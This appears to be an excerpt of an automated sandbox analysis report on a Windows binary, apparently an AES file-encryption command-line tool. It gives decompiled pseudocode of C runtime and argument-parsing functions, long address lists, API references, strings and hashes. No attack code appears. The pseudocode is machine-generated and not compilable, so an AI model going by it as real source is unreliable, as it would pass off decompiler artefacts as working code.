										E00878F58( &_a16, __ecx, 0x400) = 0;
										_a2062 = __ax;
										goto L19;
									}
									goto L102;
								case 4:
									__eax =  *0x889d58;
									__eflags = __eax;
									if(__eax == 0) {
										goto L19;
									} else {
										__edx =  &_a2064;
										__edx =  &_a2064 - __eax;
										__eflags = __edx;
										goto L9;
										do {
											L11:
											__cx =  *__eax;
											__eax = __eax + 2;
											__eflags = __cx;
										} while (__cx != 0);
										__eax = __eax - __edx;
										__eflags = __eax;
										_v4 = __eax;
										if(__eflags < 0) {
											L27:
											_t192 = E00875360( &_a16);
											_pop(_t253);
											_pop(_t264);
											_pop(_t202);
											__eflags = _a4124 ^ _t272;
											return E00878AD6(_t192 | 0xffffffff, _t202, _a4124 ^ _t272, _t234, _t253, _t264);
										} else {
											goto L19;
										}
										goto L102;
										L9:
										__ecx =  *__eax & 0x0000ffff;
										 *((short*)(__edx + __eax)) = __cx;
										__eax = __eax + 2;
										__eflags = __cx;
										if(__cx != 0) {
											goto L9;
										} else {
											__eax =  &_a2064;
											__edx = __eax + 2;
										}
										goto L11;
									}
									goto L102;
								case 5:
									__edx = _v0;
									__edx =  *_v0;
									__eax = E008752F0(__edx);
									__eax = 0;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebx);
									__ecx = _a4124;
									__ecx = _a4124 ^ __esp;
									__eflags = __ecx;
									return E00878AD6(0, __ebx, __ecx, __edx, __edi, __esi);
									goto L102;
								case 6:
									goto L18;
							}
						}
						goto L102;
						L19:
						_t196 = _a4;
						_t247 = E00875B10(_a4, _v0);
					} while (_t247 != 0xffffffff);
					goto L20;
				}
				L102:
			}

0x008753b3
0x008753bb
0x008753c0
0x008753c7
0x008753cf
0x008753d7
0x008753db
0x008753df
0x008753e3
0x008753e7
0x008753f1
0x008753f6
0x00875551
0x00875551
0x00875559
0x00875666
0x0087566a
0x0087566c
0x0087568c
0x00875691
0x00875759
0x00875759
0x0087575e
0x00875760
0x00875764
0x00875767
0x008757d4
0x008757d4
0x008757d6
0x008759a9
0x008759b4
0x008759c2
0x008759c3
0x008759c4
0x008759c5
0x008759cf
0x008757e0
0x008757e0
0x008757e4
0x008757f0
0x008757f5
0x008757fa
0x008757fd
0x008757ff
0x00875864
0x00875869
0x0087586c
0x00875870
0x00875872
0x00875a2d
0x00875a2f
0x00875a31
0x00875a33
0x00875a35
0x00875a36
0x00875a3b
0x00875a3b
0x00875a33
0x00875a3e
0x00875a3f
0x00000000
0x00000000
0x00000000
0x00000000
0x00875801
0x00875801
0x00875806
0x0087580b
0x008759f6
0x008759f8
0x008759fa
0x008759fc
0x008759fe
0x008759ff
0x00875a04
0x00875a04
0x008759fc
0x00875a07
0x00875a14
0x00875a15
0x00875a1e
0x00000000
0x00875811
0x00875811
0x00875816
0x00875828
0x00875829
0x0087582e
0x00875831
0x00875833
0x00875835
0x0087583a
0x0087583f
0x0087583f
0x00875853
0x00875854
0x00875859
0x00875859
0x00875878
0x00875878
0x0087587c
0x0087587f
0x008758d0
0x008758d3
0x00000000
0x008758d5
0x008758d5
0x008758d7
0x00875938
0x0087593c
0x00875949
0x00000000
0x008758d9
0x008758d9
0x008758db
0x008758e0
0x008758e0
0x008758e3
0x008758e6
0x008758e6
0x008758ef
0x008758f9
0x008758fe
0x00875900
0x00875903
0x00875906
0x00875906
0x00875909
0x0087590c
0x0087590c
0x00875913
0x00875921
0x0087592b
0x0087592d
0x00875930
0x00875932
0x00875a8d
0x00875a92
0x00875a96
0x00875a98
0x00875a9a
0x00875a9c
0x00875a9e
0x00875a9f
0x00875aa4
0x00875aa4
0x00875a9c
0x00875aab
0x00875aac
0x00000000
0x00000000
0x00000000
0x00000000
0x00875932
0x008758d7
0x00875881
0x00875881
0x00875883
0x008758b6
0x008758c0
0x008758c9
0x0087594e
0x0087594e
0x00875950
0x00875953
0x00875953
0x00875958
0x0087595c
0x0087595e
0x00875960
0x00875962
0x00875964
0x00875965
0x0087596a
0x0087596a
0x00875962
0x0087596d
0x00875975
0x00875977
0x0087598a
0x0087598a
0x0087598c
0x00000000
0x00000000
0x00000000
0x00000000
0x00875979
0x00875979
0x0087597b
0x00000000
0x0087597d
0x0087597d
0x0087597e
0x00875983
0x00875986
0x00875988
0x008759d0
0x008759d2
0x008759d8
0x008759e5
0x008759e6
0x008759eb
0x008759eb
0x00000000
0x00000000
0x00000000
0x00000000
0x00875988
0x0087597b
0x00875885
0x0087588b
0x00875895
0x008758a4
0x008758a9
0x008758ab
0x008758ae
0x008758b0
0x00875a67
0x00875a6c
0x00875a70
0x00875a72
0x00875a74
0x00875a76
0x00875a78
0x00875a79
0x00875a7e
0x00875a7e
0x00875a76
0x00875a85
0x00875a86
0x00875a44
0x00875a4c
0x00875a4d
0x00875a55
0x00875a5a
0x00875a5f
0x00000000
0x00000000
0x00000000
0x00000000
0x008758b0
0x00875883
0x0087587f
0x0087580b
0x00000000
0x00875992
0x00875992
0x00875999
0x0087599b
0x008759a0
0x008759a0
0x00000000
0x008757e0
0x00875769
0x00875769
0x0087576b
0x00000000
0x0087576d
0x00875775
0x00875777
0x00875779
0x0087577a
0x0087577f
0x0087577f
0x00875782
0x0087578c
0x0087578c
0x0087578f
0x00875790
0x00875799
0x0087579b
0x0087579b
0x0087579e
0x008757a3
0x008757a7
0x008757b7
0x008757bf
0x008757c0
0x008757c1
0x008757c9
0x008757d3
0x008757d3
0x0087576b
0x00875697
0x008756a4
0x008756a6
0x008756a6
0x008756a9
0x008756ac
0x008756b0
0x008756b3
0x00875721
0x00875721
0x00875723
0x00875754
0x00000000
0x00875725
0x00875729
0x00875737
0x0087573f
0x00875740
0x00875741
0x00875749
0x00875753
0x00875753
0x008756b5
0x008756b5
0x00000000
0x0087571a
0x00000000
0x00000000
0x008756d7
0x008756da
0x008756e3
0x008756e6
0x008756ef
0x008756f4
0x008756f7
0x008756f9
0x008756f9
0x008756e8
0x008756e8
0x008756e8
0x008756dc
0x008756dc
0x008756dc
0x008756fe
0x008756ff
0x00875704
0x0087570c
0x0087570d
0x00875712
0x00000000
0x00000000
0x00000000
0x00000000
0x008756bc
0x008756c1
0x008756c9
0x008756ca
0x008756cf
0x00000000
0x00000000
0x008756b5
0x008756b3
0x0087566e
0x0087566e
0x0087567b
0x0087567c
0x00875685
0x00000000
0x00875685
0x0087555f
0x0087555f
0x0087556c
0x0087556d
0x00875576
0x00875578
0x00875578
0x0087557b
0x00875580
0x00875584
0x0087558c
0x0087558d
0x0087558e
0x008755a0
0x008755a0
0x008753fc
0x008753fc
0x008753fc
0x008753fc
0x00875402
0x00875523
0x00875523
0x00875524
0x0087552e
0x0087552e
0x00875531
0x00875532
0x00875537
0x00000000
0x00875408
0x00875408
0x0087540f
0x00000000
0x0087541b
0x00000000
0x00875421
0x00875421
0x00000000
0x00875421
0x00000000
0x00000000
0x0087542e
0x00875433
0x008755e5
0x008755e5
0x008755ef
0x008755ef
0x008755f2
0x008755f3
0x008755f8
0x00000000
0x00875439
0x00875439
0x00000000
0x00875439
0x00000000
0x00000000
0x008755a1
0x008755a5
0x008755a7
0x008755ac
0x008755ae
0x008755af
0x008755b0
0x008755b1
0x008755b8
0x008755b8
0x008755c2
0x00000000
0x00000000
0x0087549e
0x008754ac
0x008754b4
0x008754b6
0x008754e1
0x008754f1
0x008754f6
0x008754f8
0x0087561c
0x00875621
0x00875622
0x00875627
0x0087562f
0x00875630
0x00875635
0x00875638
0x0087563d
0x00875642
0x00875645
0x00875649
0x0087564e
0x00875651
0x00875652
0x00875653
0x00875654
0x0087565b
0x0087565b
0x00875665
0x00000000
0x00000000
0x00000000
0x008754b8
0x008754b8
0x008754bd
0x008754c2
0x008754c2
0x008754ca
0x008754d6
0x008754d7
0x008754dc
0x008754fe
0x008754fe
0x0087550a
0x00875517
0x00875519
0x00000000
0x00875519
0x00000000
0x00000000
0x00875446
0x0087544b
0x0087544d
0x00000000
0x00875453
0x00875453
0x0087545a
0x0087545a
0x0087545a
0x00875480
0x00875480
0x00875480
0x00875483
0x00875486
0x00875486
0x0087548b
0x0087548b
0x0087548f
0x00875493
0x008755fb
0x008755ff
0x00875607
0x00875608
0x00875609
0x00875611
0x0087561b
0x00875499
0x00000000
0x00875499
0x00000000
0x00875460
0x00875460
0x00875463
0x00875467
0x0087546a
0x0087546d
0x00000000
0x0087546f
0x0087546f
0x00875476
0x00875476
0x00000000
0x0087546d
0x00000000
0x00000000
0x008755c3
0x008755c7
0x008755c9
0x008755ce
0x008755d0
0x008755d1
0x008755d2
0x008755d3
0x008755da
0x008755da
0x008755e4
0x00000000
0x00000000
0x00000000
0x00000000
0x0087540f
0x00000000
0x0087553a
0x0087553e
0x00875546
0x00875548
0x00000000
0x008753fc
0x00000000

APIs

__setmode.LIBCMT ref: 008754D7
_wcsncpy.LIBCMT ref: 0087550F
_fwprintf.LIBCMT ref: 00875532
_fprintf.LIBCMT ref: 0087556D
_fprintf.LIBCMT ref: 008755F3
_fwprintf.LIBCMT ref: 00875630
_perror.LIBCMT ref: 0087563D
_fprintf.LIBCMT ref: 0087567C
_fprintf.LIBCMT ref: 008756CA
_fwprintf.LIBCMT ref: 0087570D

Strings

Error: A single output file may not be specified with multiple input files., xrefs: 00875782
Error opening input file %s : , xrefs: 00875A3F
Error opening output file %s : , xrefs: 00875A86, 00875AAC
Error: STDIN may not be specified with multiple input files., xrefs: 00875A07
user aborted, xrefs: 008756DC
%s.aes, xrefs: 00875886
Error: Could not properly close output file , xrefs: 008759D8
Error: No file argument specified, xrefs: 0087555F
password too long, xrefs: 008756E8
Error opening output file %s:, xrefs: 00875622
Error in read_password: %s., xrefs: 008756FF
No valid error code specified!!!, xrefs: 008756F9, 008756FE
Error: Unknown option '%c', xrefs: 00875524
passwords don't match, xrefs: 008756EF
Error: -e or -d not specified, xrefs: 0087566E
Error: No password supplied., xrefs: 008756BC
Error: Passwords don't match., xrefs: 0087571A
Error: only specify one of -d or -e, xrefs: 008755E5

Memory Dump Source

Source File: 0000000B.00000002.217149017.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 0000000B.00000002.217144739.0000000000870000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217167848.0000000000884000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217173733.0000000000888000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.217184413.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _fprintf$_fwprintf$__setmode_perror_wcsncpy
String ID: %s.aes$Error in read_password: %s.$Error opening input file %s : $Error opening output file %s : $Error opening output file %s:$Error: -e or -d not specified$Error: A single output file may not be specified with multiple input files.$Error: Could not properly close output file $Error: No file argument specified$Error: No password supplied.$Error: Passwords don't match.$Error: STDIN may not be specified with multiple input files.$Error: Unknown option '%c'$Error: only specify one of -d or -e$No valid error code specified!!!$password too long$passwords don't match$user aborted
API String ID: 2990280923-44409661
Opcode ID: 6eb18db0d379ed778b4e9b7637aede38ef8af5b90e5bb95e2b9246a7ff9de5a7
Instruction ID: 9097addd7e82b3a478be67014fbf2c1c6b4aeced6c7de13ce2a02adcfd25839d
Opcode Fuzzy Hash: 6eb18db0d379ed778b4e9b7637aede38ef8af5b90e5bb95e2b9246a7ff9de5a7
Instruction Fuzzy Hash: E202F472A046108BC724BB68DC82A6F7395FF94364F14C629F89DD7299EEB0D90487D3

Uniqueness

Uniqueness Score: -1.00%

Function 00879384, Relevance: 7.7, APIs: 5, Instructions: 160
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E00879384(char* _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20) {
				signed int _v8;
				char* _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t82;
				signed int _t86;
				char _t89;
				signed int _t96;
				signed int _t98;
				signed int _t101;
				signed int _t104;
				signed int _t107;
				signed int _t108;
				signed int _t109;
				char* _t110;
				signed int _t116;
				signed int _t121;
				signed int _t122;
				signed int _t123;
				signed int _t124;
				void* _t125;

				_t110 = _a4;
				_t108 = _a8;
				_t121 = _a12;
				_v12 = _t110;
				_v8 = _t108;
				if(_t121 == 0 || _a16 == 0) {
					L5:
					return 0;
				} else {
					_t129 = _t110;
					if(_t110 != 0) {
						_t124 = _a20;
						__eflags = _t124;
						if(_t124 == 0) {
							L9:
							__eflags = _t108 - 0xffffffff;
							if(_t108 != 0xffffffff) {
								_t82 = E0087E710(_t110, 0, _t108);
								_t125 = _t125 + 0xc;
							}
							__eflags = _t124;
							if(__eflags == 0) {
								goto L3;
							} else {
								_t86 = _t82 | 0xffffffff;
								_t116 = _t86 % _t121;
								__eflags = _a16 - _t86 / _t121;
								if(__eflags > 0) {
									goto L3;
								}
								L13:
								_t122 = _t121 * _a16;
								__eflags =  *(_t124 + 0xc) & 0x0000010c;
								_v20 = _t122;
								_t109 = _t122;
								if(( *(_t124 + 0xc) & 0x0000010c) == 0) {
									_v16 = 0x1000;
								} else {
									_v16 =  *((intOrPtr*)(_t124 + 0x18));
								}
								__eflags = _t122;
								if(_t122 == 0) {
									L40:
									return _a16;
								} else {
									do {
										__eflags =  *(_t124 + 0xc) & 0x0000010c;
										if(( *(_t124 + 0xc) & 0x0000010c) == 0) {
											L24:
											__eflags = _t109 - _v16;
											if(_t109 < _v16) {
												_t89 = E0087DEC2(_t109, _t116, _t122, _t124); // executed
												__eflags = _t89 - 0xffffffff;
												if(_t89 == 0xffffffff) {
													L45:
													return (_t122 - _t109) / _a12;
												}
												__eflags = _v8;
												if(_v8 == 0) {
													L41:
													__eflags = _a8 - 0xffffffff;
													if(__eflags != 0) {
														E0087E710(_a4, 0, _a8);
													}
													 *((intOrPtr*)(E0087B831(__eflags))) = 0x22;
													L4:
													E0087B7DF();
													goto L5;
												}
												_v12 = _v12 + 1;
												 *_v12 = _t89;
												_t109 = _t109 - 1;
												_t65 =  &_v8;
												 *_t65 = _v8 - 1;
												__eflags =  *_t65;
												_v16 =  *((intOrPtr*)(_t124 + 0x18));
												goto L39;
											}
											__eflags = _v16;
											if(_v16 == 0) {
												_t96 = 0x7fffffff;
												__eflags = _t109 - 0x7fffffff;
												if(_t109 <= 0x7fffffff) {
													_t96 = _t109;
												}
											} else {
												__eflags = _t109 - 0x7fffffff;
												if(_t109 <= 0x7fffffff) {
													_t50 = _t109 % _v16;
													__eflags = _t50;
													_t116 = _t50;
													_t101 = _t109;
												} else {
													_t116 = 0x7fffffff % _v16;
													_t101 = 0x7fffffff;
												}
												_t96 = _t101 - _t116;
											}
											__eflags = _t96 - _v8;
											if(_t96 > _v8) {
												goto L41;
											} else {
												_push(_t96);
												_push(_v12);
												_push(E00879732(_t124));
												_t98 = E0087E59B(_t109, _t116, _t122, _t124, __eflags);
												_t125 = _t125 + 0xc;
												__eflags = _t98;
												if(_t98 == 0) {
													 *(_t124 + 0xc) =  *(_t124 + 0xc) | 0x00000010;
													goto L45;
												}
												__eflags = _t98 - 0xffffffff;
												if(_t98 == 0xffffffff) {
													L44:
													_t72 = _t124 + 0xc;
													 *_t72 =  *(_t124 + 0xc) | 0x00000020;
													__eflags =  *_t72;
													goto L45;
												}
												_v12 = _v12 + _t98;
												_t109 = _t109 - _t98;
												_v8 = _v8 - _t98;
												goto L39;
											}
										}
										_t104 =  *(_t124 + 4);
										__eflags = _t104;
										if(__eflags == 0) {
											goto L24;
										}
										if(__eflags < 0) {
											goto L44;
										}
										_t123 = _t109;
										__eflags = _t109 - _t104;
										if(_t109 >= _t104) {
											_t123 = _t104;
										}
										__eflags = _t123 - _v8;
										if(_t123 > _v8) {
											goto L41;
										} else {
											E0087E691(_v12, _v8,  *_t124, _t123);
											 *(_t124 + 4) =  *(_t124 + 4) - _t123;
											 *_t124 =  *_t124 + _t123;
											_v12 = _v12 + _t123;
											_t109 = _t109 - _t123;
											_t125 = _t125 + 0x10;
											_v8 = _v8 - _t123;
											_t122 = _v20;
										}
										L39:
										__eflags = _t109;
									} while (_t109 != 0);
									goto L40;
								}
							}
						}
						_t107 = _t82 | 0xffffffff;
						_t82 = _t107 / _t121;
						_t116 = _t107 % _t121;
						__eflags = _a16 - _t82;
						if(_a16 <= _t82) {
							goto L13;
						}
						goto L9;
					}
					L3:
					 *((intOrPtr*)(E0087B831(_t129))) = 0x16;
					goto L4;
				}
			}

APIs

_memset.LIBCMT ref: 008793DF
_memcpy_s.LIBCMT ref: 00879450
__read.LIBCMT ref: 008794B3
__filbuf.LIBCMT ref: 008794CF

Part of subcall function 0087B831: __getptd_noexit.LIBCMT ref: 0087B831

_memset.LIBCMT ref: 00879510

Memory Dump Source

Source File: 0000000B.00000002.217149017.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 0000000B.00000002.217144739.0000000000870000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217167848.0000000000884000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217173733.0000000000888000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.217184413.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_memcpy_s
String ID:
API String ID: 4048096073-0
Opcode ID: a7669ca91cd67fe2a5a2c42b5e40d8cc4d089f0c2ab9678a95a086195e6ea39a
Instruction ID: f06a70fbd960c5dfaa910c2977937533e51532d36f79dd45d34fc37cd882aafd
Opcode Fuzzy Hash: a7669ca91cd67fe2a5a2c42b5e40d8cc4d089f0c2ab9678a95a086195e6ea39a
Instruction Fuzzy Hash: 9851E170A00209EBCF258FB9884469EB7B5FF40324F24C669E8ADD62D8D370DE51DB45

Uniqueness

Uniqueness Score: -1.00%

Function 00879758, Relevance: 6.1, APIs: 4, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00879758(signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t56;
				signed int _t60;
				void* _t65;
				signed int _t66;
				signed int _t69;
				signed int _t71;
				signed int _t72;
				signed int _t74;
				signed int _t75;
				signed int _t78;
				signed int _t79;
				signed int _t81;
				signed int _t85;
				signed int _t92;
				signed int _t93;
				signed int _t94;
				signed int _t95;
				intOrPtr* _t96;
				void* _t97;

				_t92 = _a8;
				if(_t92 == 0 || _a12 == 0) {
					L4:
					return 0;
				} else {
					_t96 = _a16;
					_t100 = _t96;
					if(_t96 != 0) {
						_t79 = _a4;
						__eflags = _t79;
						if(__eflags == 0) {
							goto L3;
						}
						_t60 = _t56 | 0xffffffff;
						_t88 = _t60 % _t92;
						__eflags = _a12 - _t60 / _t92;
						if(__eflags > 0) {
							goto L3;
						}
						_t93 = _t92 * _a12;
						__eflags =  *(_t96 + 0xc) & 0x0000010c;
						_v8 = _t79;
						_v16 = _t93;
						_t78 = _t93;
						if(( *(_t96 + 0xc) & 0x0000010c) == 0) {
							_v12 = 0x1000;
						} else {
							_v12 =  *(_t96 + 0x18);
						}
						__eflags = _t93;
						if(_t93 == 0) {
							L32:
							return _a12;
						} else {
							do {
								_t81 =  *(_t96 + 0xc) & 0x00000108;
								__eflags = _t81;
								if(_t81 == 0) {
									L18:
									__eflags = _t78 - _v12;
									if(_t78 < _v12) {
										_t65 = E0087A7CD(_t88, _t93,  *_v8, _t96); // executed
										__eflags = _t65 - 0xffffffff;
										if(_t65 == 0xffffffff) {
											L34:
											_t66 = _t93;
											L35:
											return (_t66 - _t78) / _a8;
										}
										_v8 = _v8 + 1;
										_t69 =  *(_t96 + 0x18);
										_t78 = _t78 - 1;
										_v12 = _t69;
										__eflags = _t69;
										if(_t69 <= 0) {
											_v12 = 1;
										}
										goto L31;
									}
									__eflags = _t81;
									if(_t81 == 0) {
										L21:
										__eflags = _v12;
										_t94 = _t78;
										if(_v12 != 0) {
											_t72 = _t78;
											_t88 = _t72 % _v12;
											_t94 = _t94 - _t72 % _v12;
											__eflags = _t94;
										}
										_push(_t94);
										_push(_v8);
										_push(E00879732(_t96));
										_t71 = E0087C352(_t78, _t88, _t94, _t96, __eflags);
										_t97 = _t97 + 0xc;
										__eflags = _t71 - 0xffffffff;
										if(_t71 == 0xffffffff) {
											L36:
											 *(_t96 + 0xc) =  *(_t96 + 0xc) | 0x00000020;
											_t66 = _v16;
											goto L35;
										} else {
											_t85 = _t94;
											__eflags = _t71 - _t94;
											if(_t71 <= _t94) {
												_t85 = _t71;
											}
											_v8 = _v8 + _t85;
											_t78 = _t78 - _t85;
											__eflags = _t71 - _t94;
											if(_t71 < _t94) {
												goto L36;
											} else {
												L27:
												_t93 = _v16;
												goto L31;
											}
										}
									}
									_t74 = E00878FA4(_t88, _t96);
									__eflags = _t74;
									if(_t74 != 0) {
										goto L34;
									}
									goto L21;
								}
								_t75 =  *(_t96 + 4);
								__eflags = _t75;
								if(__eflags == 0) {
									goto L18;
								}
								if(__eflags < 0) {
									_t45 = _t96 + 0xc;
									 *_t45 =  *(_t96 + 0xc) | 0x00000020;
									__eflags =  *_t45;
									goto L34;
								}
								_t95 = _t78;
								__eflags = _t78 - _t75;
								if(_t78 >= _t75) {
									_t95 = _t75;
								}
								E0087E790( *_t96, _v8, _t95);
								 *(_t96 + 4) =  *(_t96 + 4) - _t95;
								 *_t96 =  *_t96 + _t95;
								_t97 = _t97 + 0xc;
								_t78 = _t78 - _t95;
								_v8 = _v8 + _t95;
								goto L27;
								L31:
								__eflags = _t78;
							} while (_t78 != 0);
							goto L32;
						}
					}
					L3:
					 *((intOrPtr*)(E0087B831(_t100))) = 0x16;
					E0087B7DF();
					goto L4;
				}
			}

APIs

_memmove.LIBCMT ref: 008797F3
__flush.LIBCMT ref: 00879811
__write.LIBCMT ref: 00879838
__flsbuf.LIBCMT ref: 00879863

Part of subcall function 0087B831: __getptd_noexit.LIBCMT ref: 0087B831

Memory Dump Source

Source File: 0000000B.00000002.217149017.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 0000000B.00000002.217144739.0000000000870000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217167848.0000000000884000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217173733.0000000000888000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.217184413.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: 149f1b05dac08d6d25bbe15dc20a2ca0f7548280e6a70e5e4eae5ed24c6d22d6
Instruction ID: 920290a8b5f2ffa0a8219535911e1fbe5c0d76543406c2d9eef12b2cab290e3d
Opcode Fuzzy Hash: 149f1b05dac08d6d25bbe15dc20a2ca0f7548280e6a70e5e4eae5ed24c6d22d6
Instruction Fuzzy Hash: DB418031A006499BDF28DF698884AAEBBB5FF81364F29C578E49DD7248D770ED40CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0087F251, Relevance: 6.0, APIs: 4, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0087F251() {
				WCHAR* _t2;
				void* _t4;
				void* _t15;
				WCHAR* _t17;

				_t2 = GetEnvironmentStringsW();
				_t17 = _t2;
				if(_t17 != 0) {
					if( *_t17 != 0) {
						goto L3;
						do {
							do {
								L3:
								_t2 =  &(_t2[1]);
							} while ( *_t2 != 0);
							_t2 =  &(_t2[1]);
						} while ( *_t2 != 0);
					}
					_t1 = _t2 - _t17 + 2; // -2
					_t10 = _t1;
					_t4 = E0087A5E8(_t1); // executed
					_t15 = _t4;
					if(_t15 != 0) {
						E0087E790(_t15, _t17, _t10);
					}
					FreeEnvironmentStringsW(_t17);
					return _t15;
				} else {
					return 0;
				}
			}

APIs

GetEnvironmentStringsW.KERNEL32(00000000,00879EEF), ref: 0087F254
__malloc_crt.LIBCMT ref: 0087F283
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0087F290

Memory Dump Source

Source File: 0000000B.00000002.217149017.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 0000000B.00000002.217144739.0000000000870000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217167848.0000000000884000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217173733.0000000000888000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.217184413.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: EnvironmentStrings$Free__malloc_crt
String ID:
API String ID: 237123855-0
Opcode ID: 423b903063d0e6f1657bccc9de381d83172ba2f6fc9bff8fbd13fc48bb32a867
Instruction ID: b5ceb9e5a3fd4caa199b20cb340289782106d80624810beeeb08af6562e2bf2e
Opcode Fuzzy Hash: 423b903063d0e6f1657bccc9de381d83172ba2f6fc9bff8fbd13fc48bb32a867
Instruction Fuzzy Hash: DEF0E93B5185119A8A2077397C458AB3739FAE636630AC425F609C311BF520CD4587A2

Uniqueness

Uniqueness Score: -1.00%

Function 0087912E, Relevance: 4.5, APIs: 3, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0087912E(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t10;
				intOrPtr _t12;
				void* _t22;

				_push(0xc);
				_push(0x886ce8);
				E0087C4C0(__ebx, __edi, __esi);
				_t24 =  *((intOrPtr*)(_t22 + 8));
				if( *((intOrPtr*)(_t22 + 8)) != 0) {
					E00878E7A( *((intOrPtr*)(_t22 + 8)));
					 *((intOrPtr*)(_t22 - 4)) = 0;
					_t10 = E0087900C(__ebx, __edx, __edi,  *((intOrPtr*)(_t22 + 8))); // executed
					 *((intOrPtr*)(_t22 - 0x1c)) = _t10;
					 *((intOrPtr*)(_t22 - 4)) = 0xfffffffe;
					E00879177();
					_t12 =  *((intOrPtr*)(_t22 - 0x1c));
				} else {
					_push(0);
					_t12 = E00879054(__ebx, __edx, __edi, 0, _t24);
				}
				return E0087C505(_t12);
			}

0x0087912e
0x00879130
0x00879135
0x0087913c
0x0087913f
0x0087914d
0x00879153
0x00879159
0x0087915f
0x00879162
0x00879169
0x0087916e
0x00879141
0x00879141
0x00879142
0x00879147
0x00879176

APIs

_flsall.LIBCMT ref: 00879142

Part of subcall function 00879054: __lock.LIBCMT ref: 0087906A
Part of subcall function 00879054: __fflush_nolock.LIBCMT ref: 008790BD
Part of subcall function 00879054: __fflush_nolock.LIBCMT ref: 008790D8

__lock_file.LIBCMT ref: 0087914D
__fflush_nolock.LIBCMT ref: 00879159

Memory Dump Source

Source File: 0000000B.00000002.217149017.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 0000000B.00000002.217144739.0000000000870000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217167848.0000000000884000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217173733.0000000000888000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.217184413.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: __fflush_nolock$__lock__lock_file_flsall
String ID:
API String ID: 3191677874-0
Opcode ID: 163789dbc266aeede8852e0a3a1e434254c3629882f124d4d8b1bafe3109db60
Instruction ID: e860e2a2385e9bab7235a03b50b66819112c8e248b3f5523abced033bc8d522c
Opcode Fuzzy Hash: 163789dbc266aeede8852e0a3a1e434254c3629882f124d4d8b1bafe3109db60
Instruction Fuzzy Hash: A0E09231801616EACF21BF6CD80689D7B60FF00760B60C119F45CDA1A9CA34C691CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00879540, Relevance: 3.0, APIs: 2, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00879540(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t19;
				intOrPtr _t22;
				void* _t33;

				_push(0xc);
				_push(0x886d28);
				E0087C4C0(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t33 - 0x1c)) = 0;
				if( *((intOrPtr*)(_t33 + 0x10)) == 0 ||  *((intOrPtr*)(_t33 + 0x14)) == 0) {
					L6:
					_t19 = 0;
				} else {
					if( *((intOrPtr*)(_t33 + 0x18)) != 0) {
						E00878E7A( *((intOrPtr*)(_t33 + 0x18)));
						 *((intOrPtr*)(_t33 - 4)) = 0;
						_t22 = E00879384( *((intOrPtr*)(_t33 + 8)),  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)),  *((intOrPtr*)(_t33 + 0x14)),  *((intOrPtr*)(_t33 + 0x18))); // executed
						 *((intOrPtr*)(_t33 - 0x1c)) = _t22;
						 *((intOrPtr*)(_t33 - 4)) = 0xfffffffe;
						E008795C4();
						_t19 =  *((intOrPtr*)(_t33 - 0x1c));
					} else {
						_t41 =  *((intOrPtr*)(_t33 + 0xc)) - 0xffffffff;
						if( *((intOrPtr*)(_t33 + 0xc)) != 0xffffffff) {
							E0087E710( *((intOrPtr*)(_t33 + 8)), 0,  *((intOrPtr*)(_t33 + 0xc)));
						}
						 *((intOrPtr*)(E0087B831(_t41))) = 0x16;
						E0087B7DF();
						goto L6;
					}
				}
				return E0087C505(_t19);
			}

0x00879540
0x00879542
0x00879547
0x0087954e
0x00879554
0x00879585
0x00879585
0x0087955b
0x0087955e
0x00879590
0x00879596
0x008795a8
0x008795b0
0x008795b3
0x008795ba
0x008795bf
0x00879560
0x00879560
0x00879564
0x0087956d
0x00879572
0x0087957a
0x00879580
0x00000000
0x00879580
0x0087955e
0x0087958c

APIs

_memset.LIBCMT ref: 0087956D
__lock_file.LIBCMT ref: 00879590

Memory Dump Source

Source File: 0000000B.00000002.217149017.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

